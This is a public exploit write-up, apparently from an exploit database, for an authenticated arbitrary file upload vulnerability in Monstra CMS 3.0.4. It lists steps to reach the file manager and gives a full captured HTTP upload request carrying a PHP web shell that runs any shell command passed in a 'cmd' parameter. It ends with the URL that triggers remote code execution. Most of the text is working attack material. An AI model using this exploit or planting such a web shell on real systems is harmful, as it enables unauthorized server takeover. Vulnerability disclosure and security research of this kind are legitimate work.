# Exploit Title: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload # Google Dork: N/A # Date: 2020-05-18 # Exploit Author: Kishan Lal Choudhary # Vendor Homepage: https://monstra.org # Software Link: https://bitbucket.org/awilum/monstra/downloads/monstra-3.0.4.zip # Version: 3.0.4 # Tested on: Ubuntu 1. Goto: http://192.168.2.5/monstra/admin/index.php?id=filesmanager&path=uploads/ 2. Upload a one liner shell with php7 extenstion ie: shell.php7 #burp request ------------------------------------EOF----------------------------------------------------- POST /monstra/admin/index.php?id=filesmanager HTTP/1.1 Host: 192.168.2.5 Content-Length: 548 Cache-Control: max-age=0 Origin: http://192.168.2.5 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.2.5/monstra/admin/index.php?id=filesmanager Accept-Encoding: gzip, deflate Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7 Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405623579.1579949328; _gid=GA1.1.2042923722.1579949328 Connection: close ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="csrf" 2e6ae2353998caa319aae262b113c6b3f17a9636 ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="file"; filename="shell.php7" Content-Type: application/octet-stream <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> ------WebKitFormBoundarytRfyCkYq8NvztDBf Content-Disposition: form-data; name="upload_file" Upload ------WebKitFormBoundarytRfyCkYq8NvztDBf-- ------------------------------------EOF----------------------------------------------------- 3. trigger your shell by visiting http://192.168.2.5/monstra/public/uploads/shell.php7?cmd=id We have successfully got Remote Code execution